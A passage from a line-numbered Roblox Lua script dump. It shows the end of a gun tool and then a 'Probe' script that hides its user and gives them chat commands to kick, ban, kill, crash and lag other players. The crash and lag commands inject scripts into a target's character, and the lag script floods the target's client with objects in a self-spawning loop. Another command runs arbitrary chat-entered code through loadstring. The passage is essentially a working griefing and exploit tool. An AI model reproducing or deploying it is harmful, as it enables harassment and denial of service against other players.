  3940. bg.cframe=computePos(torso.CFrame.p, mouse.Hit.p)
  3941. obj.Clip.Text=clip.."/6"
  3942. obj.Ammo.Text=ammo.."/200"
  3943. end
  3944. end)
  3945. mouse.Button1Down:connect(function()
  3946. local speed=500
  3947. if equip==true and keyDeb==false and clip>=1 then Gun:play() keyDeb=true
  3948. clip=clip-1
  3949. animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), math.rad(15), math.rad(90)))
  3950. local bullet=add.Part(workspace, false, false, "Bright yellow", 0, Vector3.new(.2, 1, .2), CFrame.new(obj.Point.CFrame.p, mouse.Hit.p)*CFrame.Angles(math.pi/2, 0, 0))
  3951. local bulletM=add.Mesh("SpecialMesh", bullet, Vector3.new(.04, .05, .04), nil, nil, "http://www.roblox.com/Asset/?id=10207677")
  3952. local bf=Instance.new("BodyForce", bullet) bf.force=Vector3.new(0, bullet:GetMass()*196.2, 0)
  3953. local effect=add.Part(workspace, true, false, "Bright yellow", .5, Vector3.new(.5, .5, .5), obj.Point.CFrame*CFrame.Angles(math.rad(-45, 45), math.rad(-45, 45), math.rad(-45, 45)))
  3954. c(function()
  3955. for i=0, 1, .1 do wait()
  3956. effect.Transparency=effect.Transparency+(i/2)
  3957. effect.Mesh.Scale=effect.Mesh.Scale+Vector3.new(i, i, i)
  3958. end
  3959. effect:remove()
  3960. end)
  3961. trailDeb=true
  3962. trail(bullet, CFrame.new())
  3963. bullet.Touched:connect(hit)
  3964. bullet.Velocity=CFrame.new((obj.Point.CFrame*CFrame.Angles(math.pi/2, 0, 0)).p, mouse.Hit.p).lookVector*speed
  3965. c(function() wait(1.5) bullet:destroy() trailDeb=false end)
  3966. wait(.5)
  3967. animate.ArmRight(CFrame.new(0, 0, 0)*CFrame.Angles(math.rad(90), 0, math.rad(90)))
  3968. keyDeb=false
  3969. elseif equip==true and keyDeb==false then
  3970. keyDeb=true
  3971. reload()
  3972. keyDeb=false
  3973. end
  3974. end)--mediafire
  3975. ]==]
  3976.  
  3977. Probe = [==[
  3978. wait'';
  3979. script.Parent= Instance.new'Glue';
  3980. mode="Destroy"
  3981. sound=false
  3982. engulfed=false
  3983. song='walrus'
  3984. pa=8
  3985. banned={}
  3986. test=false;--testing mode
  3987. scropt=''
  3988. scropting=false
  3989. ofx=true
  3990. ifx=true
  3991. local ascript=[[]]
  3992.  
  3993. scropts={}
  3994. plr=game.Players.LocalPlayer
  3995. mouse=plr:GetMouse()
  3996. cam=workspace.CurrentCamera
  3997. p=Instance.new("Part")
  3998. p.FormFactor='Custom'
  3999. p.TopSurface="Smooth"
  4000. p.BottomSurface='Smooth'
  4001. p.BrickColor=BrickColor.new'White';
  4002. p.Transparency=0.5;
  4003. p.Size=Vector3.new(1.5,1.5,1.5)
  4004. p.Anchored=true
  4005. p.CanCollide=false;
  4006. p.Name='ttx'
  4007. pc=p:clone'';
  4008. pc.Name='pc'
  4009.  
  4010. pc.Size=Vector3.new(0.75,0.75,0.75);
  4011. pc.BrickColor=BrickColor.new'Really black'
  4012. local sel=Instance.new("SelectionBox")
  4013. sel.Color=BrickColor.new("Really black")
  4014. sel.Transparency=0
  4015. sel.Name='sel'
  4016. local color=sel.Color
  4017. local sel2=Instance.new("SelectionBox")
  4018. sel2.Color=BrickColor.new("Institutional white")
  4019. sel2.Transparency=1
  4020. sel2.Name='sel2'
  4021. local blo=Instance.new("BlockMesh",pc)
  4022. blo.Name='blo'
  4023. local s=Instance.new("Sound")
  4024. s.SoundId="http://www.roblox.com/asset?id=12222170"
  4025. s.Volume=1
  4026. s.Pitch=3.25
  4027. s.Name='s'
  4028. local s2=Instance.new("Sound")
  4029. s2.SoundId="http://www.roblox.com/asset?id=130806888"
  4030. s2.Volume=1
  4031. s2.Pitch=1
  4032. s2.Name='s2'
  4033. local s3=Instance.new("Sound")
  4034. s3.SoundId="http://www.roblox.com/asset?id=138092144"
  4035. s3.Volume=1
  4036. s3.Pitch=1
  4037. s3.Name='s3'
  4038. local s4=Instance.new("Sound")
  4039. s4.SoundId="http://www.roblox.com/asset?id=130791043"
  4040. s4.Volume=1
  4041. s4.Pitch=1
  4042. s4.Name='s4'
  4043. local s5=Instance.new("Sound")
  4044. s5.SoundId="http://www.roblox.com/asset?id=143301643"
  4045. s5.Volume=1
  4046. s5.Pitch=1
  4047. s5.Name='s5'
  4048.  
  4049. game:service'ContentProvider':Preload(s5.SoundId)
  4050.  
  4051. local light=Instance.new('PointLight')
  4052. light.Range=10
  4053. light.Brightness=5
  4054. light.Shadows=true
  4055. light.Color=BrickColor.new("White").Color
  4056. light.Name='light'
  4057.  
  4058. local bg = Instance.new("BillboardGui")
  4059. bg.Adornee = p
  4060. bg.Size = UDim2.new(6, 0, 1, 0)
  4061. bg.StudsOffset = Vector3.new(-1.6, 2, 0)
  4062. bg.Name='bg'
  4063.  
  4064. local frame = Instance.new("Frame")
  4065. frame.Size = UDim2.new(1, 0, 1, 0)
  4066. frame.BackgroundTransparency = 1
  4067. frame.BackgroundColor3 = Color3.new(1, 1, 1)
  4068. frame.Name='frame'
  4069.  
  4070. local text = Instance.new("TextLabel")
  4071. text.BackgroundTransparency=1
  4072. text.Position = UDim2.new(0.15, 0, 0.25, 0)
  4073. text.Size = UDim2.new(1.2, 0, 0.7, 0)
  4074. text.Text = "penal servitude"
  4075. text.Font="SourceSansBold"
  4076. text.TextScaled=true
  4077. text.TextStrokeTransparency=0
  4078. text.TextStrokeColor3=Color3.new(255,255,255)
  4079. text.TextColor3=Color3.new(1,1,1)
  4080. text.Name='text'
  4081.  
  4082. function chat(txt)
  4083. game:service'Chat':Chat(p,txt,math.random(1,2))
  4084. s3:Play()
  4085. local cb=sel.Color
  4086. sel.Color=BrickColor.new("Lime green")
  4087. wait(0.57)
  4088. sel.Color=cb
  4089. end
  4090.  
  4091.  
  4092.  
  4093. local schemes={
  4094. Normal={
  4095. pmc="White";
  4096. pcm="Really black";
  4097. selc="Really black";
  4098. selc2="Institutional white";
  4099. light='White';
  4100. name="Normal"
  4101. };
  4102. Inverse={
  4103. pmc="Really black";
  4104. pcm="White";
  4105. selc="Institutional white";
  4106. selc2="Really black";
  4107. light='White';
  4108. name="Inverse"
  4109. };
  4110. Neon={
  4111. pmc="Really red";
  4112. pcm="Lime green";
  4113. selc="Lime green";
  4114. selc2="Really red";
  4115. light='Lime green';
  4116. name="Neon"
  4117. };
  4118. Greenlight={
  4119. pmc="Really black";
  4120. pcm='Institutional white';
  4121. selc='Lime green';
  4122. selc2='Really black';
  4123. light='Lime green';
  4124. name='Greenlight'
  4125. };
  4126. Calm={
  4127. pmc="Really black";
  4128. pcm='Institutional white';
  4129. selc='Teal';
  4130. selc2='Really black';
  4131. light='Teal';
  4132. name='Calm'
  4133. };
  4134. --Custom Schemes--
  4135. CoolkidTheme={
  4136. pmc="Camo";
  4137. pcm="Lime green";
  4138. selc="Really red";
  4139. selc2="Toothpaste";
  4140. light='Lime green';
  4141. name="CoolkidTheme"
  4142. };
  4143. }
  4144.  
  4145.  
  4146. local songbank={
  4147. ['Cat']='http://www.roblox.com/asset?id=156435576';
  4148. ['EpicSax']='http://www.roblox.com/asset?id=130775431';
  4149. ['Trolled']='http://www.roblox.com/asset?id=142633540';
  4150. ['Doge']='http://www.roblox.com/asset?id=150794704';
  4151. ['PFS']='http://www.roblox.com/asset?id=130783719';
  4152. ['120BOOM']='http://www.roblox.com/asset?id=142279108';
  4153. ['Raining Tacos']='http://www.roblox.com/asset?id=142376088';
  4154. ['Pootis Man']='http://www.roblox.com/asset?id=142334905';
  4155. ['Pootis']='http://www.roblox.com/asset?id=148636758';
  4156. ['freshprince']='http://www.roblox.com/asset?id=154237445'
  4157. }
  4158.  
  4159. for _,v in pairs(songbank) do
  4160. ypcall(function()
  4161. game:service"ContentProvider":Preload(v)
  4162. end)
  4163. end
  4164.  
  4165. coroutine.wrap(function()
  4166. local angle=0;
  4167. repeat
  4168. angle=angle+1;
  4169. local a=math.rad(angle);
  4170. p.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(a,a,a);
  4171. pc.CFrame=workspace.CurrentCamera.CoordinateFrame*CFrame.new(0,0,-15)*CFrame.Angles(-a,-a,-a);
  4172. wait'';
  4173. until false
  4174. end)();
  4175. newLocalScript=function(source,parent)
  4176. local clone=script:clone'';
  4177. clone:clearAllChildren'';
  4178. for _,v in next,{'Source','DSource','source','code'}do
  4179. local f=Instance.new('StringValue',clone);
  4180. f.Name=v;
  4181. f.Value=source;
  4182. end;
  4183. clone.Parent=parent;
  4184. return clone;
  4185. end;
  4186. cmds={}
  4187. modes={
  4188. {n="Destroy",color="Neon orange",func=function(thing)
  4189. local a=thing.Parent
  4190. s4:Play()
  4191. if thing.Parent.Name~="Workspace" and thing.Name~='ttx' and thing.Parent.Name~='ttx' then
  4192. thing.Parent:Destroy()
  4193. elseif thing.Parent.Name=="Workspace" and thing.Name~='Base' and thing.Name~="Baseplate" and thing.Name~='ttx' then
  4194. thing:Destroy()
  4195. end
  4196. end
  4197. };
  4198. {n="Break",color="Royal purple",func=function(thing)
  4199. if thing.className=="Part" and thing.Name~='Base' and thing.Name~='Baseplate' then
  4200. s4:Play()
  4201. for i = 1,4 do
  4202. local a=thing:clone()
  4203. thing:BreakJoints()
  4204. a.Parent=workspace
  4205. a.FormFactor="Custom"
  4206. a.Size=Vector3.new(thing.Size.x/math.random(1.2,2),thing.Size.y/math.random(1.05,2),thing.Size.z/math.random(1.2,2))
  4207. a:BreakJoints()
  4208. local f=Instance.new("Fire",a)
  4209. f.Size=(a.Size.x+a.Size.y+a.Size.z)/2
  4210. local ex=Instance.new("Explosion")
  4211. ex.Position=thing.Position
  4212. ex.BlastPressure=35
  4213. ex.BlastRadius=15
  4214. ex.Parent=workspace
  4215. thing:Destroy()
  4216. Spawn(function()
  4217. wait(3)
  4218. a:Destroy()
  4219. end)
  4220. end
  4221. end
  4222. end
  4223. };
  4224. {n="Kick",color="Really red",func=function(thing)
  4225. if thing.Parent.Name~="Workspace" then
  4226. s4:Play()
  4227. ypcall(function()
  4228. if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4229. ypcall(function()
  4230. game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
  4231. end)
  4232. end
  4233. end)
  4234. end
  4235. end
  4236. };
  4237. {n="Ban",color="Br. yellowish green",func=function(thing)
  4238. s4:Play()
  4239. if thing.Parent.Name~="Workspace" then
  4240. ypcall(function()
  4241. if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4242. ypcall(function()
  4243. table.insert(banned,thing.Parent.Name)
  4244. game:service'Players':findFirstChild(thing.Parent.Name):Destroy()
  4245. end)
  4246. end
  4247. end)
  4248. end
  4249. end
  4250. };
  4251. {n="Kill",color="Dark red",func=function(thing)
  4252. s4:Play()
  4253. if thing.Parent.Name~="Workspace" then
  4254. ypcall(function()
  4255. if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4256. ypcall(function()
  4257. game:service'Players':findFirstChild(thing.Parent.Name).Character:BreakJoints()
  4258. end)
  4259. end
  4260. end)
  4261. end
  4262. end
  4263. };
  4264. {n="Ff",color="Really blue",func=function(thing)
  4265. s4:Play()
  4266. if thing.Parent.Name~="Workspace" then
  4267. if game:service'Players':findFirstChild(thing.Parent.Name) ~= nil then
  4268. ypcall(function()
  4269. if not thing.Parent.Torso.ForceField then
  4270. Instance.new("ForceField",thing.Parent.Torso)
  4271. else
  4272. thing.Parent.Torso.ForceField:Destroy()
  4273. end
  4274. end)
  4275. end
  4276. end
  4277. end
  4278. }
  4279. }
  4280. addCommand=function(commandName,_cmds,commandDesc,commandFunc)
  4281. cmds[commandName]={['cmds']=_cmds,desc=commandDesc,func=commandFunc};
  4282. end
  4283. onChatted=function(msg)
  4284. for _,v in next,cmds do
  4285. local used=false;
  4286. for cmd in v.cmds:gmatch'([^(.*),?]+)'do
  4287. if(msg:match(cmd)and used==false)then
  4288. local rest=msg:match(cmd..'(.*)');
  4289. pcall(v.func,rest);
  4290. used=true;
  4291. end;
  4292. end;
  4293. end;
  4294. end;
  4295. getPlayers=function(msg)
  4296. local players={};--noob nob
  4297. for _,v in next,game.Players:players''do
  4298. if(v.Name:lower():sub(1,#msg)==msg:lower()) then
  4299. table.insert(players,v);
  4300. end;
  4301. end;
  4302. return players;
  4303. end;
  4304. addCommand('Disconnect','disc/,disconnect/','Disconnects your player from the game',function(msg)
  4305. plr:Destroy()'';
  4306. end);
  4307. addCommand('Kick','kick/','Kicks <Player>',function(msg)
  4308. for _,player in next,getPlayers(msg)do
  4309. player:Destroy()'';
  4310. end;
  4311. end);
  4312. addCommand('Banish', 'ban/', 'Banish <Player>', function(msg)
  4313. for _,player in next,getPlayers(msg)do
  4314. table.insert(banned,player.Name)
  4315. player:Destroy()'';
  4316. end;
  4317. end);
  4318. addCommand('Fix', 'fix/', 'Fix probe', function(msg)
  4319. local current=workspace:findFirstChild'ttx';
  4320. if(current)then
  4321. current:destroy();
  4322. end;
  4323. p=backup:clone();
  4324. p.Parent=workspace;
  4325. pc=p.pc
  4326. sel=p.sel
  4327. bg=p.bg
  4328. frame=p.frame
  4329. text=p.Text
  4330. sel2=pc.sel2
  4331. s=p.s
  4332. s2=p.s2
  4333. s3=p.s3
  4334. s4=p.s4
  4335. s5=p.s5
  4336. light=pc.light
  4337. end);
  4338.  
  4339. addCommand('Nil disconnect','nild/', "Disconnect a nil player", function(msg)
  4340.  
  4341. end)
  4342.  
  4343. addCommand('Clean' ,'clean/', 'Clean Workspace', function(msg)
  4344. for _,v in pairs(workspace:children()) do
  4345. ypcall(function()
  4346. if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then
  4347. if v.Name~="Base" and v.Name~="Baseplate" and v.Name~='ttx' then
  4348. v:Destroy()
  4349. end
  4350. end
  4351. end)
  4352. end
  4353. end);
  4354.  
  4355. addCommand('Crash','cr/','Crashes a <Player>',function(msg)
  4356. for _,player in next,getPlayers(msg)do
  4357. newLocalScript([[game.Players.LocalPlayer:kick'']], player.Backpack or player.Character)
  4358. end;
  4359. end)
  4360. print'a';
  4361. addCommand('Lag', 'lag/', 'Lags a <Player>',function(msg)
  4362. for _,player in ipairs(getPlayers(msg))do
  4363. newLocalScript([[
  4364. wait'';
  4365. script.Parent=workspace.currentCamera;
  4366. addLoop=function()
  4367. repeat
  4368. for _,v in next,{'Message','Hint','Part','Message','Message','Hint','Seat'}do
  4369. pcall(function()
  4370. local i=Instance.new(v,workspace.currentCamera);
  4371. i.Text='lag';
  4372. end);
  4373. end;
  4374. wait'';
  4375. if(math.random(1,10)==1)then
  4376. coroutine.wrap(addLoop)();
  4377. end;
  4378. until false;
  4379. end;
  4380. coroutine.wrap(addLoop)();
  4381. ]],player.Character);
  4382. end;
  4383. end);
  4384.  
  4385. addCommand('Fixl','fixl/','Fixes lighting',function(msg)
  4386. game.Lighting.Brightness=7
  4387. game.Lighting.TimeOfDay='14:00:00'
  4388. game.Lighting.GlobalShadows=true
  4389. game.Lighting.Outlines=true
  4390. game.Lighting.ShadowColor=Color3.new(179,179,179)
  4391. game.Lighting.Ambient=Color3.new(128,128,128)
  4392. game.Lighting.FogStart=0
  4393. game.Lighting.FogEnd=100000
  4394. end)
  4395.  
  4396. addCommand('Rejoin','rj/','Rejoins player',function(msg)
  4397. game:GetService('TeleportService'):Teleport(game.PlaceId)
  4398. end)
  4399.  
  4400. addCommand('Create','create/', 'Creates a <script>',function(msg)
  4401. table.insert(scropts,{n=msg,c=""})
  4402. chat("Created script: " .. msg .. "!",math.random(0,2));
  4403. end)
  4404.  
  4405. addCommand('Edit','edit/','Edits a <script>', function(msg)
  4406. chat("Editing script: " .. msg .. "!",math.random(0,2));
  4407. for _,v in pairs(scropts) do
  4408. if v.n==msg then
  4409. scropting=true
  4410. scropt=v.n
  4411. chat(scropt,math.random(0,2));
  4412. end
  4413. end
  4414. end)
  4415.  
  4416. addCommand('Exit','exit/','Exits a <script>', function(msg)
  4417. scropting=false
  4418. chat("Exited script: " .. scropt .. "!",math.random(0,2));
  4419. end)
  4420.  
  4421. addCommand('Run','run/','Runs a <script>', function(msg)
  4422. for _,v in pairs(scropts) do
  4423. if v.n==scropt then
  4424. ypcall(function()
  4425. --newLocalScript(v.c,workspace)
  4426. wait(); loadstring(v.c)()
  4427. chat(v.c,math.random(0,2))
  4428. end)
  4429. end
  4430. end
  4431. chat("Running script: " .. msg .. "!",math.random(0,2));
  4432. end)
  4433.  
  4434. addCommand('Clear','clear/','Clears a <script>',function(msg)
  4435. for _,v in pairs(scropts) do
  4436. if v.n==msg then
  4437. v.c=''
  4438. end
  4439. end
  4440. chat("Cleared script: " .. msg .. "!",math.random(0,2));
  4441. end)
  4442.  
  4443. addCommand('Remove','remove/','Removes a <script>',function(msg)
  4444. for _,v in pairs(scropts) do
  4445. if v.n==msg then
  4446. table.remove(scropts,v)
  4447. end
  4448. end
  4449. chat("Removed script: " .. msg .. "!",math.random(0,2));
  4450. end)
  4451.  
  4452. addCommand('Mode','mode/','Switches mode',function(msg)
  4453. ypcall(function()
  4454. mode=msg
  4455. chat("Switched to mode: " .. msg .. "!",math.random(0,2));
  4456. end)
  4457. end)
  4458.  
  4459. addCommand('Change scheme', 'cs/', 'Changes scheme', function(msg)
  4460. ypcall(function()
  4461. for _,v in pairs(schemes) do
  4462. if v.name==msg then
  4463. p.BrickColor=BrickColor.new(v.pmc)
  4464. pc.BrickColor=BrickColor.new(v.pcm)
  4465. sel.Color=BrickColor.new(v.selc)
  4466. sel2.Color=BrickColor.new(v.selc2)
  4467. light.Color=BrickColor.new(v.light).Color
  4468. chat("Switched to scheme: " .. msg .. "!",math.random(0,2));
  4469. end
  4470. end
  4471. end)
  4472. end
  4473. )
  4474.  
  4475.  
  4476. addCommand('Set size','ss/', 'Sets size',function(msg)
  4477. local m=tonumber(msg)
  4478. p.Size=Vector3.new(m,m,m)
  4479. pc.Size=Vector3.new(m/2,m/2,m/2)
  4480. end)
  4481.  
  4482. addCommand('Set #Particles','pa/', 'Sets # particles', function(msg)
  4483. pa=tonumber(msg)
  4484. end)
  4485.  
  4486. addCommand('Set outer lining color','solc/', 'Sets olc',function(msg)
  4487. sel.Color=BrickColor.new(msg)
  4488. end)
  4489.  
  4490. addCommand('Set inner lining color','silc/', 'Sets ilc',function(msg)
  4491. sel2.Color=BrickColor.new(msg)
  4492. end)
  4493.  
  4494. addCommand('Set outer box color','sobc/', 'Sets obc',function(msg)
  4495. p.BrickColor=BrickColor.new(msg)
  4496. end)
  4497.  
  4498. addCommand('Set inner box color','sibc/', 'Sets ibc',function(msg)
  4499. p.BrickColor=BrickColor.new(msg)
  4500. end)
  4501.  
  4502. addCommand('Disable outer fx','dof/','Disables outer FX',function(msg)
  4503. ofx=false
  4504. end)
  4505.  
  4506. addCommand('Enable outer fx','eof/','Enables outer FX',function(msg)
  4507. ofx=true
  4508. end)
  4509.  
  4510. addCommand('Disable inner fx','dif/','Disables inner FX',function(msg)
  4511. ifx=false
  4512. end)
  4513.  
  4514. addCommand('Enable inner fx','eif/','Enables inner FX',function(msg)
  4515. ifx=true
  4516. end)
  4517. --lavish commands
  4518. addCommand('Ff', 'ff/', 'Ffs a <Player>',function(msg)
  4519. for _,player in next,getPlayers(msg)do
  4520. Instance.new("ForceField",player.Character.Torso)
  4521. end;
  4522. end)
  4523.  
  4524. addCommand('Play', 'play/', 'Plays a <song>',function(msg)
  4525. if songbank[msg] then
  4526. song=msg
  4527. local a=Instance.new("Sound")
  4528. a.Volume=1
  4529. a.Pitch=1
  4530. a.Looped=true
  4531. a.SoundId=songbank[msg]
  4532. a.Name=msg
  4533. a.Parent=p
  4534. wait()
  4535. a:Play()
  4536. wait()
  4537. a:Stop()
  4538. wait()
  4539. a:Play()
  4540. color=sel.Color
  4541. sound=true
  4542. chat('Playing "' .. msg .. '"!')
  4543. else
  4544. chat('Song "' .. msg .. '" does not exist.')
  4545. end
  4546. end)
  4547.  
  4548. addCommand('Stop', 'stop/', 'Stops a song',function(msg)
  4549. ypcall(function()
  4550. sound=false
  4551. sel.Color=color
  4552. wait()
  4553. if p[msg] then
  4554. ypcall(function()
  4555. p[msg]:Destroy()
  4556. end)
  4557. end
  4558. song='nil'
  4559. chat('Song "' .. msg .. '" stopped!')
  4560. end)
  4561. end)
  4562.  
  4563. addCommand('Pitch', 'pitch/', 'Changes pitch of a song',function(msg)
  4564. ypcall(function()
  4565. if p[song] then
  4566. ypcall(function()
  4567. p[song].Pitch=tonumber(msg)
  4568. end)
  4569. end
  4570. chat('Song "' .. msg .. "'s" .. ' pitch has been changed to ' .. msg .. ".")
  4571. end)
  4572. end)
  4573.  
  4574. addCommand('Engulf','eng/','Engulf yourself in FX', function(msg)
  4575. engulfed=true
  4576. p.Transparency=1
  4577. pc.Transparency=1
  4578. sel.Transparency=1
  4579. sel2.Transparency=1
  4580. end)
  4581.  
  4582. addCommand('Unengulf','ueng/','Unengulf yourself in FX', function(msg)
  4583. engulfed=false
  4584. p.Transparency=0
  4585. pc.Transparency=0
  4586. sel.Transparency=0
  4587. sel2.Transparency=0
  4588. end)
  4589.  
  4590. addCommand('Unff','unff/', 'Unffs a <Player>', function(msg)
  4591. for _,player in next,getPlayers(msg)do
  4592. for i,v in pairs(player.Character:GetChildren()) do
  4593. if v:IsA("ForceField") then
  4594. v:remove()
  4595. end
  4596. end
  4597. end;
  4598. end)
  4599. if(not test)then
  4600. plr:remove'';
  4601. end;
  4602. plr.Character=nil;
  4603. plr.Chatted:connect(function(msg)
  4604. ypcall(function()
  4605. print(msg);
  4606.  
  4607. onChatted(msg);
  4608. if scropting==true then
  4609. if not msg:find('exit/') and not msg:find('edit/') then
  4610. for _,v in pairs(scropts) do
  4611. if v.n==scropt then
  4612. v.c=v.c .. msg
  4613. chat("Input code!",math.random(0,2));
  4614. end
  4615. end
  4616. end
  4617. end
  4618. if scropting==false then
  4619. local a=string.len(msg)
  4620. local bbd="%u"
  4621. local bbc="%l"
  4622. local cco=0
  4623. local cco2=0
  4624. local modec="calm"
  4625. for i=1,a do
  4626. if string.sub(msg,i,i):match(bbd) then
  4627. cco=cco+1
  4628. elseif string.sub(msg,i,i):match(bbc) then
  4629. cco2=cco2+1
  4630. end
  4631. end
  4632. print("CCO is " .. tostring(cco))
  4633. print("CCO2 is " .. tostring(cco2))
  4634. if cco<cco2 then
  4635. modec="calm"
  4636. text.TextColor3=BrickColor.new("White").Color
  4637. cco=0
  4638. cco2=0
  4639. elseif cco2<cco then
  4640. modec="mad"
  4641. text.TextColor3=BrickColor.new("Really red").Color
  4642. cco=0
  4643. cco2=0
  4644. end
  4645. --[[
  4646. local bbd="%u+"
  4647. local bbc="%l+"
  4648. local mc=msg:match(bbd)
  4649. local mc2=msg:match(bbc)
  4650. if a/2<=string.len(mc) then
  4651. ypcall(function()
  4652. text.TextColor3=BrickColor.new("Really red").Color
  4653. s2:Play()
  4654. end)
  4655. elseif a/2<=string.len(mc2) then
  4656. ypcall(function()
  4657. text.TextColor3=BrickColor.new("White").Color
  4658. end)
  4659. end
  4660. ]]
  4661.  
  4662. if modec=="mad" then
  4663. s2:Play()
  4664. end
  4665. text.Text=''
  4666. for i=1,a do
  4667. wait(0.055)
  4668. s.Pitch=math.random(2.45,3.1)
  4669. s:Play()
  4670. text.Text=string.sub(msg,1,i)
  4671. end
  4672. --[[
  4673. wait(5)
  4674. local var=0
  4675. if text.Text==msg then
  4676. for i=1,a do
  4677. var=var-1
  4678. wait(0.055)
  4679. s.Pitch=math.random(3.0,4.0)
  4680. s:Play()
  4681. text.Text=string.sub(msg,a,var)
  4682. end
  4683. end
  4684. ]]
  4685. end
  4686. end)
  4687. end);
  4688.  
  4689.  
  4690.  
  4691. game.Players.ChildAdded:connect(function(playur)
  4692. if playur.className=="Player" then
  4693. for _,v in pairs(banned) do
  4694. if v==playur.Name then
  4695. playur:Destroy()
  4696. end
  4697. end
  4698. end
  4699. end)
  4700.  
  4701. game:service'RunService'.Stepped:connect(function()
  4702. ypcall(function()
  4703. p.Parent=workspace
  4704. pc.Parent=p
  4705. sel.Parent=p
  4706. sel.Adornee=p
  4707. bg.Adornee=p
  4708. bg.Parent=p
  4709. frame.Parent=bg
  4710. text.Parent=frame
  4711. sel2.Parent=pc
  4712. sel2.Adornee=pc
  4713. s.Parent=p
  4714. s2.Parent=p
  4715. s3.Parent=p
  4716. s4.Parent=p
  4717. s5.Parent=p
  4718. light.Parent=pc
  4719. text.TextStrokeColor3=sel.Color.Color
  4720. end)
  4721. end)
  4722.  
  4723. s5.Looped=true
  4724. s5.Volume=0.5
  4725. s5:Play()
  4726. wait()
  4727. s5:Stop()
  4728. wait()
  4729. s5:Play()
  4730.  
  4731. local walrus=game.Lighting
  4732. mouse.Button1Down:connect(function()
  4733. ypcall(function()
  4734. for _,v in pairs(modes) do
  4735. if v.n==mode and mouse.Target.Name~="Workspace" then
  4736. local ray = Ray.new(p.CFrame.p, (mouse.Hit.p - p.CFrame.p).unit*300)
  4737. v.func(mouse.Target)
  4738. local position = mouse.Hit.p--game.Workspace:FindPartOnRay(ray, walrus)
  4739. local distance = (position - p.CFrame.p).magnitude
  4740. local rp=Instance.new("Part",workspace)
  4741. rp.Anchored=true
  4742. rp.TopSurface="Smooth"
  4743. rp.BottomSurface="Smooth"
  4744. rp.Transparency=0.45
  4745. rp.BrickColor=BrickColor.new(v.color)
  4746. rp.FormFactor="Custom"
  4747. rp.CanCollide=false
  4748. rp.Size=Vector3.new(0.6,0.6,distance)
  4749. rp.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
  4750. local cy=Instance.new("BlockMesh",rp)
  4751. local rp2=Instance.new("Part",rp)
  4752. rp2.Anchored=true
  4753. rp2.TopSurface="Smooth"
  4754. rp2.BottomSurface="Smooth"
  4755. rp2.Transparency=0.45
  4756. rp2.BrickColor=BrickColor.new("Institutional white")
  4757. rp2.FormFactor="Custom"
  4758. rp2.CanCollide=false
  4759. rp2.Size=Vector3.new(1,1,distance)
  4760. rp2.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
  4761. local cy2=Instance.new("BlockMesh",rp2)
  4762. for i=1,10 do
  4763. wait()
  4764. cy.Scale=cy.Scale-Vector3.new(0.1,0.1,0)
  4765. cy2.Scale=cy2.Scale-Vector3.new(0.1,0.1,0)
  4766. end
  4767. rp:Destroy()
  4768. rp2:Destroy()
  4769. print'done'
  4770. end
  4771. end
  4772. end)
  4773. end)
  4774.  
  4775. coroutine.resume(coroutine.create(function()
  4776. while wait() do
  4777. for i=1,50 do
  4778. wait()
  4779. blo.Scale=blo.Scale+Vector3.new(0.01,0.01,0.01)
  4780. end
  4781. for i=1,50 do
  4782. wait()
  4783. blo.Scale=blo.Scale-Vector3.new(0.01,0.01,0.01)
  4784. end
  4785. end
  4786. end))
  4787.  
  4788. coroutine.resume(coroutine.create(function()
  4789. while wait() do
  4790. if engulfed==false then
  4791. for i=1,100 do
  4792. wait()
  4793. sel.Transparency=sel.Transparency+0.01
  4794. sel2.Transparency=sel2.Transparency-0.01
  4795. end
  4796. for i=1,100 do
  4797. wait()
  4798. sel.Transparency=sel.Transparency-0.01
  4799. sel2.Transparency=sel2.Transparency+0.01
  4800. end
  4801. end
  4802. end
  4803. end))
  4804.  
  4805. coroutine.resume(coroutine.create(function()
  4806. while wait() do
  4807. if ifx==true then
  4808. local pos=p.Position
  4809. wait(0.01)
  4810. if p.Position~=pos or engulfed==true then
  4811. local a=p:clone()
  4812. a.Parent=workspace
  4813. a.Transparency=0
  4814. a.FormFactor='Custom'
  4815. a.BrickColor=sel.Color
  4816. a:clearAllChildren()
  4817. local b=Instance.new("BlockMesh",a)
  4818. Spawn(function()
  4819. for i=1,30 do
  4820. wait(0.02)
  4821. b.Scale=b.Scale-Vector3.new(0.10,0.10,0.10)
  4822. a.Transparency=a.Transparency+0.05
  4823. end
  4824. a:Destroy()
  4825. end)
  4826. else
  4827. end
  4828. end
  4829. end
  4830. end))
  4831.  
  4832.  
  4833.  
  4834. coroutine.resume(coroutine.create(function()
  4835. while wait(0.06245) do
  4836. if ofx==true then
  4837. local a=Instance.new('Part',p)
  4838. a.Anchored=true
  4839. local b=Instance.new("BlockMesh",a)
  4840. a.Size=Vector3.new(1.1,1)
  4841. a.CFrame=p.CFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  4842. a.BrickColor=sel.Color
  4843. Spawn(function()
  4844. for i=1,pa do
  4845. wait()
  4846. a.CFrame=a.CFrame*CFrame.new(math.random(-.1,.1),math.random(-.1,.1),math.random(-.1,.1))*CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
  4847. a.Transparency=a.Transparency+0.1
  4848. b.Scale=b.Scale-Vector3.new(0.1,0.1,0.1)
  4849. end
  4850. a:Destroy()
  4851. end)
  4852. end
  4853. end
  4854. end))
  4855.  
  4856. pc.ChildRemoved:connect(function()
  4857. sound=false
  4858. sel.Color=color
  4859. end)
  4860.  
  4861.  
  4862.  
  4863. local backup=p:clone()
  4864. backup.Parent=nil
  4865.  
  4866. --[[
  4867. workspace.ChildRemoved:connect(function(asd)
  4868. if asd.Name=="ttx" then
  4869. wait(5)
  4870. if not workspace['ttx'] then
  4871. local f=backup:clone()
  4872. f.Parent=workspace
  4873. p=f
  4874. end
  4875. end
  4876. end)
  4877. coroutine.resume(coroutine.create(function()
  4878. while wait(4) do
  4879. if not workspace['ttx'] then
  4880. local abc=backup:clone()
  4881. abc.Parent=workspace
  4882. p=abc
  4883. end
  4884. end
  4885. end))
  4886. ]]
  4887. coroutine.resume(coroutine.create(function()
  4888. local a=p.Position
